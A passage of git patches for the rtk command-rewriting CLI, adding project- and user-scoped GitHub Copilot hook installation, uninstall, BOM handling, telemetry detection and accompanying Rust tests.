"VERSION_PLACEHOLDER" - license "MIT" + license "Apache 2.0" if OS.mac? && Hardware::CPU.arm? url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-aarch64-apple-darwin.tar.gz" From 8fb29e2f75a34d9430be74975cccd30213e619aa Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:15:35 +0200 Subject: [PATCH 19/52] fix(hook): emit Copilot CLI-compatible hook config + strip BOM on Windows --- .../guide/getting-started/supported-agents.md | 6 +- src/hooks/constants.rs | 4 ++ src/hooks/hook_cmd.rs | 23 +++++++- src/hooks/init.rs | 58 +++++++++++++++++-- 4 files changed, 83 insertions(+), 8 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index b7fb920deb..ede38bcac7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -66,12 +66,14 @@ rtk init --global --cursor Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. -### VS Code Copilot Chat +### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --global --copilot +rtk init --copilot ``` +Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). + ### Gemini CLI ```bash diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index 506e88cdf8..f9a6922642 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -22,6 +22,10 @@ pub const CURSOR_DIR: &str = ".cursor"; pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; +pub const GITHUB_DIR: &str = ".github"; +pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; +pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; + pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; pub const PI_EXTENSIONS_SUBDIR: &str = "extensions"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..2f29a2d7c3 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -42,7 +42,9 @@ enum HookFormat { pub fn run_copilot() -> Result<()> { let input = read_stdin_limited()?; - let input = input.trim(); + // Strip leading BOM(s) before trimming: some Windows hosts prepend UTF-8 + // BOMs to hook stdin (confirmed for Cursor), which serde_json rejects. + let input = strip_leading_bom(&input).trim(); if input.is_empty() { return Ok(()); } @@ -575,6 +577,25 @@ mod tests { assert!(matches!(detect_format(&v), HookFormat::PassThrough)); } + #[test] + fn test_copilot_bom_prefixed_payload_is_recognized() { + // Windows hosts may prepend one or two UTF-8 BOMs to hook stdin + // (confirmed for Cursor). run_copilot strips them before parsing; + // verify both Copilot formats still parse after the same handling. + for raw in [ + format!("\u{feff}{}", copilot_cli_input("git status")), + format!("\u{feff}\u{feff}{}", copilot_cli_input("git status")), + ] { + let cleaned = strip_leading_bom(&raw).trim(); + let v: Value = serde_json::from_str(cleaned).expect("BOM-stripped JSON must parse"); + assert!(matches!(detect_format(&v), HookFormat::CopilotCli { .. })); + } + + let raw = format!("\u{feff}{}", vscode_input("Bash", "git status")); + let v: Value = serde_json::from_str(strip_leading_bom(&raw).trim()).unwrap(); + assert!(matches!(detect_format(&v), HookFormat::VsCode { .. })); + } + #[test] fn test_detect_unknown_is_passthrough() { assert!(matches!(detect_format(&json!({})), HookFormat::PassThrough)); diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 189f5de557..3f57cf6ae4 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -8,7 +8,8 @@ use std::path::{Path, PathBuf}; use tempfile::NamedTempFile; use crate::hooks::constants::{ - CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, + CONFIG_DIR, COPILOT_HOOK_FILE, COPILOT_INSTRUCTIONS_FILE, CURSOR_DIR, GEMINI_DIR, GITHUB_DIR, + OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, }; use super::constants::{ @@ -3845,7 +3846,9 @@ fn uninstall_gemini(ctx: InitContext) -> Result> { // ── Copilot integration ───────────────────────────────────── +// PreToolUse = VS Code schema, preToolUse = Copilot CLI schema (same file, both hosts). const COPILOT_HOOK_JSON: &str = r#"{ + "version": 1, "hooks": { "PreToolUse": [ { @@ -3854,6 +3857,15 @@ const COPILOT_HOOK_JSON: &str = r#"{ "cwd": ".", "timeout": 5 } + ], + "preToolUse": [ + { + "type": "command", + "bash": "rtk hook copilot", + "powershell": "rtk hook copilot", + "cwd": ".", + "timeoutSec": 5 + } ] } } @@ -3901,8 +3913,8 @@ pub fn run_copilot(ctx: InitContext) -> Result<()> { /// `cargo test`'s default parallel execution). fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; - let github_dir = base.join(".github"); - let hooks_dir = github_dir.join("hooks"); + let github_dir = base.join(GITHUB_DIR); + let hooks_dir = github_dir.join(HOOKS_SUBDIR); if !dry_run { fs::create_dir_all(&hooks_dir) @@ -3912,7 +3924,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { // 1. Upsert RTK marker block in copilot-instructions.md (preserves user content). // Done BEFORE writing the hook config so a malformed file aborts the install // without leaving a stale hook on disk. - let instructions_path = github_dir.join("copilot-instructions.md"); + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); write_rtk_block( &instructions_path, COPILOT_INSTRUCTIONS, @@ -3922,7 +3934,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { )?; // 2. Write hook config (only reached if the upsert above succeeded). - let hook_path = hooks_dir.join("rtk-rewrite.json"); + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; if dry_run { @@ -6254,6 +6266,42 @@ mod tests { assert!(content.contains("rtk cargo test")); } + #[test] + fn test_copilot_hook_json_serves_both_vscode_and_cli_schemas() { + let v: serde_json::Value = serde_json::from_str(COPILOT_HOOK_JSON).unwrap(); + + let vscode = &v["hooks"]["PreToolUse"][0]; + assert_eq!(vscode["command"], "rtk hook copilot"); + assert!(vscode["timeout"].is_number(), "VS Code uses `timeout`"); + + assert_eq!(v["version"], 1, "Copilot CLI requires top-level version"); + let cli = &v["hooks"]["preToolUse"][0]; + assert_eq!(cli["bash"], "rtk hook copilot"); + assert_eq!(cli["powershell"], "rtk hook copilot"); + assert!( + cli["timeoutSec"].is_number(), + "Copilot CLI uses `timeoutSec`" + ); + } + + #[test] + fn test_copilot_init_writes_dual_schema_to_disk() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 84b703d7d02d0fa9b25ab9a39ccc467da2eba440 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:17:27 +0200 Subject: [PATCH 20/52] feat(hook): wire Copilot into uninstall, telemetry, and discover --- .../guide/getting-started/supported-agents.md | 8 + src/core/telemetry.rs | 10 +- src/discover/report.rs | 64 +++++++- src/hooks/init.rs | 142 ++++++++++++++++++ src/main.rs | 2 + 5 files changed, 219 insertions(+), 7 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index ede38bcac7..5007c10be5 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -74,6 +74,14 @@ rtk init --copilot Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Uninstall (project-scoped): + +```bash +rtk init --uninstall --copilot +``` + +Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). + ### Gemini CLI ```bash diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index 97e057be10..426c1e1fc6 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -368,11 +368,14 @@ fn detect_hook_type() -> String { } } - // Check project-level hooks + // Check project-level hooks (Claude script + project-scoped Copilot config) if let Ok(cwd) = std::env::current_dir() { if cwd.join(".claude/hooks/rtk-rewrite.sh").exists() { return "claude".to_string(); } + if cwd.join(".github/hooks/rtk-rewrite.json").exists() { + return "copilot".to_string(); + } } "none".to_string() @@ -571,7 +574,7 @@ mod tests { assert!(stats.low_savings_commands.len() <= 5); assert!((0.0..=100.0).contains(&stats.avg_savings_per_command)); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"] + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] .iter() .any(|&h| stats.hook_type.starts_with(h)), "Unexpected hook type: {}", @@ -583,7 +586,8 @@ mod tests { fn test_detect_hook_type_returns_known() { let ht = detect_hook_type(); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"].contains(&ht.as_str()), + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] + .contains(&ht.as_str()), "Unexpected hook type: {}", ht ); diff --git a/src/discover/report.rs b/src/discover/report.rs index c2c523e246..af4dd453d7 100644 --- a/src/discover/report.rs +++ b/src/discover/report.rs @@ -1,8 +1,8 @@ //! Data types for reporting which commands RTK can and cannot optimize. use crate::hooks::constants::{ - CURSOR_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, - HOOKS_SUBDIR, REWRITE_HOOK_FILE, + COPILOT_HOOK_FILE, CURSOR_DIR, GITHUB_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_SUBDIR, REWRITE_HOOK_FILE, }; use serde::Serialize; use std::path::Path; @@ -52,13 +52,19 @@ pub struct UnsupportedEntry { pub struct AgentIntegrationStatus { pub cursor_hook_installed: bool, pub hermes_plugin_installed: bool, + pub copilot_hook_installed: bool, } impl AgentIntegrationStatus { pub fn detect() -> Self { - dirs::home_dir() + let mut status = dirs::home_dir() .map(|home| Self::detect_from_home(&home)) - .unwrap_or_default() + .unwrap_or_default(); + // Copilot is project-scoped (.github/hooks/), unlike the home-based agents. + status.copilot_hook_installed = std::env::current_dir() + .map(|cwd| Self::copilot_hook_installed_in(&cwd)) + .unwrap_or(false); + status } fn detect_from_home(home: &Path) -> Self { @@ -74,8 +80,16 @@ impl AgentIntegrationStatus { .join(HERMES_PLUGIN_NAME) .join(HERMES_PLUGIN_MANIFEST_FILE) .is_file(), + copilot_hook_installed: false, } } + + fn copilot_hook_installed_in(dir: &Path) -> bool { + dir.join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE) + .exists() + } } /// Full discover report. @@ -221,6 +235,10 @@ fn append_agent_notes(out: &mut String, status: AgentIntegrationStatus) { if status.hermes_plugin_installed { out.push_str("\nNote: Hermes plugin is installed; Hermes sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); } + + if status.copilot_hook_installed { + out.push_str("\nNote: GitHub Copilot sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } } /// Format report as JSON. @@ -362,6 +380,7 @@ mod tests { report.agent_status = AgentIntegrationStatus { cursor_hook_installed: true, hermes_plugin_installed: true, + copilot_hook_installed: true, }; let output = format_json(&report); @@ -369,5 +388,42 @@ mod tests { assert_eq!(json["agent_status"]["cursor_hook_installed"], true); assert_eq!(json["agent_status"]["hermes_plugin_installed"], true); + assert_eq!(json["agent_status"]["copilot_hook_installed"], true); + } + + #[test] + fn test_agent_status_detects_copilot_hook_in_project() { + let temp = tempfile::tempdir().unwrap(); + let hook = temp + .path() + .join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE); + std::fs::create_dir_all(hook.parent().unwrap()).unwrap(); + std::fs::write(&hook, "{}").unwrap(); + + assert!(AgentIntegrationStatus::copilot_hook_installed_in( + temp.path() + )); + assert!(!AgentIntegrationStatus::copilot_hook_installed_in( + tempfile::tempdir().unwrap().path() + )); + } + + #[test] + fn test_format_text_reports_copilot_detected() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + copilot_hook_installed: true, + ..AgentIntegrationStatus::default() + }; + + let output = format_text(&report, 10, false); + + assert!( + output.contains("GitHub Copilot sessions are tracked via `rtk gain`"), + "Expected Copilot note in output but got:\n{}", + output + ); } } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 3f57cf6ae4..ac0e4ab577 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3951,6 +3951,82 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { Ok(()) } +/// Entry point for `rtk init --uninstall --copilot` (project-scoped, like install). +pub fn uninstall_copilot(ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_at(Path::new("."), ctx)?; + + if removed.is_empty() { + println!("RTK Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (GitHub Copilot):" + } else { + "RTK uninstalled (GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your IDE or Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +/// Same as [`uninstall_copilot`] but operates relative to an explicit base path. +fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let github_dir = base.join(GITHUB_DIR); + let mut removed = Vec::new(); + + let hook_path = github_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); + if instructions_path.exists() { + let content = fs::read_to_string(&instructions_path) + .with_context(|| format!("Failed to read {}", instructions_path.display()))?; + if content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&content); + if did_remove { + if dry_run { + println!( + "[dry-run] would remove rtk-instructions block from {}", + instructions_path.display() + ); + } else { + atomic_write(&instructions_path, &cleaned).with_context(|| { + format!("Failed to write {}", instructions_path.display()) + })?; + } + removed.push(format!( + "{}: removed rtk-instructions block", + COPILOT_INSTRUCTIONS_FILE + )); + } + } + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6302,6 +6378,72 @@ mod tests { assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); } + #[test] + fn test_copilot_uninstall_removes_hook_and_block() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(!removed.is_empty()); + assert!(!hook_path.exists(), "hook config must be removed"); + let instructions = fs::read_to_string(&instructions_path).unwrap(); + assert!( + !instructions.contains(RTK_BLOCK_START), + "RTK block must be removed" + ); + } + + #[test] + fn test_copilot_uninstall_preserves_user_instructions() { + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + let instructions_path = github_dir.join("copilot-instructions.md"); + fs::write(&instructions_path, "# My rules\n\nAlways use pnpm.\n").unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let after = fs::read_to_string(&instructions_path).unwrap(); + assert!(after.contains("Always use pnpm."), "user content preserved"); + assert!(!after.contains(RTK_BLOCK_START), "RTK block removed"); + } + + #[test] + fn test_copilot_uninstall_dry_run_keeps_files() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + uninstall_copilot_at(temp.path(), ctx).unwrap(); + + assert!(hook_path.exists(), "dry-run must not remove hook config"); + } + + #[test] + fn test_copilot_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty(), "nothing to remove in a clean project"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index 22e6cbca87..f1715186a5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1821,6 +1821,8 @@ fn run_cli() -> Result { }; if show { hooks::init::show_config(codex)?; + } else if uninstall && copilot { + hooks::init::uninstall_copilot(ctx)?; } else if uninstall { uninstall_init_dispatch( agent, From 557e57c9f9fe90b090d7bb62024d8bcddd81b732 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 13:31:20 +0200 Subject: [PATCH 21/52] fix(hook): semgrep marker + regression tests for Copilot hook isolation --- src/hooks/init.rs | 49 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index ac0e4ab577..7e178cf2d7 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3993,6 +3993,7 @@ fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { hook_path.display() ); } else { + // nosemgrep: filesystem-deletion -- Copilot uninstall removes only the RTK-managed hook config. fs::remove_file(&hook_path) .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; } @@ -6444,6 +6445,54 @@ mod tests { assert!(removed.is_empty(), "nothing to remove in a clean project"); } + #[test] + fn test_copilot_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join(".github").join("hooks"); + fs::create_dir_all(&hooks_dir).unwrap(); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other_hook.exists(), "third-party hook file must remain"); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk install" + ); + } + + #[test] + fn test_copilot_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hooks_dir = temp.path().join(".github").join("hooks"); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!( + other_hook.exists(), + "third-party hook file must survive rtk uninstall" + ); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk uninstall" + ); + assert!( + !hooks_dir.join("rtk-rewrite.json").exists(), + "rtk's own hook must still be removed" + ); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 4b0bbf269b34e953bf08b6d15b2ffc13cf812fb3 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 19:56:04 +0200 Subject: [PATCH 22/52] feat(hook): --global Copilot install + transparent rewrite via modifiedArgs --- .../guide/getting-started/supported-agents.md | 12 +- src/hooks/constants.rs | 2 + src/hooks/hook_cmd.rs | 66 +++++-- src/hooks/init.rs | 180 +++++++++++++++++- src/main.rs | 12 +- 5 files changed, 245 insertions(+), 27 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 5007c10be5..80f22f39e8 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -30,7 +30,7 @@ Agent runs "cargo test" |-------|-----------------|---------------------------| | Claude Code | Shell hook (`PreToolUse`) | Yes | | VS Code Copilot Chat | Shell hook (`PreToolUse`) | Yes | -| GitHub Copilot CLI | Shell hook (deny-with-suggestion) | No (agent retries) | +| GitHub Copilot CLI | Shell hook (`preToolUse` `modifiedArgs`) | Yes | | Cursor | Shell hook (`preToolUse`) | Yes | | Gemini CLI | Rust binary (`BeforeTool`) | Yes | | OpenCode | TypeScript plugin (`tool.execute.before`) | Yes | @@ -69,18 +69,20 @@ Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. ### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --copilot +rtk init --copilot # project-scoped (.github/hooks/) +rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects $COPILOT_HOME) ``` -Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. -Uninstall (project-scoped): +Uninstall: ```bash rtk init --uninstall --copilot +rtk init --uninstall --global --copilot ``` -Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). +Removes only RTK's hook file (and, for project, the RTK block in `copilot-instructions.md`). Other files in `.github/hooks/` or `~/.copilot/hooks/` and your own instruction content are untouched. ### Gemini CLI diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index f9a6922642..23d2e10899 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -25,6 +25,8 @@ pub const GEMINI_DIR: &str = ".gemini"; pub const GITHUB_DIR: &str = ".github"; pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; +pub const COPILOT_USER_DIR: &str = ".copilot"; +pub const COPILOT_HOME_ENV: &str = "COPILOT_HOME"; pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 2f29a2d7c3..d5f5c3753f 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -31,7 +31,7 @@ fn read_stdin_limited() -> Result { enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, - /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), deny-with-suggestion only. + /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. CopilotCli { command: String }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, @@ -156,27 +156,24 @@ fn handle_vscode(cmd: &str) -> Result<()> { } fn handle_copilot_cli(cmd: &str) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd) { + let _ = writeln!(io::stdout(), "{response}"); + } + Ok(()) +} + +fn copilot_cli_response(cmd: &str) -> Option { if permissions::check_command(cmd) == PermissionVerdict::Deny { audit_log("deny", cmd, ""); - return Ok(()); + return None; } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; - + let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - - let output = json!({ - "permissionDecision": "deny", - "permissionDecisionReason": format!( - "Token savings: use `{}` instead (rtk saves 60-90% tokens)", - rewritten - ) - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + Some(json!({ + "permissionDecision": "allow", + "permissionDecisionReason": "RTK auto-rewrite", + "modifiedArgs": { "command": rewritten } + })) } // ── Gemini hook ─────────────────────────────────────────────── @@ -621,6 +618,39 @@ mod tests { assert!(get_rewritten("cat <<'EOF'\nhello\nEOF").is_none()); } + // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + + #[test] + fn test_copilot_cli_transparent_rewrite() { + let r = copilot_cli_response("cargo test").unwrap(); + assert_eq!(r["permissionDecision"], "allow"); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_passthrough_unsupported() { + assert!(copilot_cli_response("htop").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_already_rtk() { + assert!(copilot_cli_response("rtk cargo test").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_heredoc() { + assert!(copilot_cli_response("cat < Result> { Ok(removed) } +fn copilot_user_dir() -> Result { + if let Ok(custom) = std::env::var(COPILOT_HOME_ENV) { + return Ok(PathBuf::from(custom)); + } + let home = dirs::home_dir().context("could not determine home directory")?; + Ok(home.join(COPILOT_USER_DIR)) +} + +pub fn run_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + run_copilot_global_at(&copilot_dir, ctx) +} + +fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let hooks_dir = copilot_dir.join(HOOKS_SUBDIR); + + if !dry_run { + fs::create_dir_all(&hooks_dir) + .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; + } + + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); + write_if_changed( + &hook_path, + COPILOT_HOOK_JSON, + "Copilot global hook config", + ctx, + )?; + + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGitHub Copilot global integration installed (user-scoped).\n"); + println!(" Hook config: {}", hook_path.display()); + println!("\n Applies to all Copilot CLI sessions on this machine."); + println!(" Restart your Copilot CLI session to activate.\n"); + } + + Ok(()) +} + +pub fn uninstall_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_global_at(&copilot_dir, ctx)?; + + if removed.is_empty() { + println!("RTK global Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (global GitHub Copilot):" + } else { + "RTK uninstalled (global GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let hook_path = copilot_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + let mut removed = Vec::new(); + + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Copilot global uninstall removes only the RTK-managed hook config. + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6493,6 +6585,90 @@ mod tests { ); } + #[test] + fn test_copilot_global_install_writes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + + #[test] + fn test_copilot_global_install_does_not_write_instructions() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!( + !temp.path().join(COPILOT_INSTRUCTIONS_FILE).exists(), + "global install must not create a user-level instructions file (undocumented path)" + ); + } + + #[test] + fn test_copilot_global_uninstall_removes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(!removed.is_empty()); + assert!(!hook_path.exists()); + } + + #[test] + fn test_copilot_global_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty()); + } + + #[test] + fn test_copilot_global_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join("hooks"); + 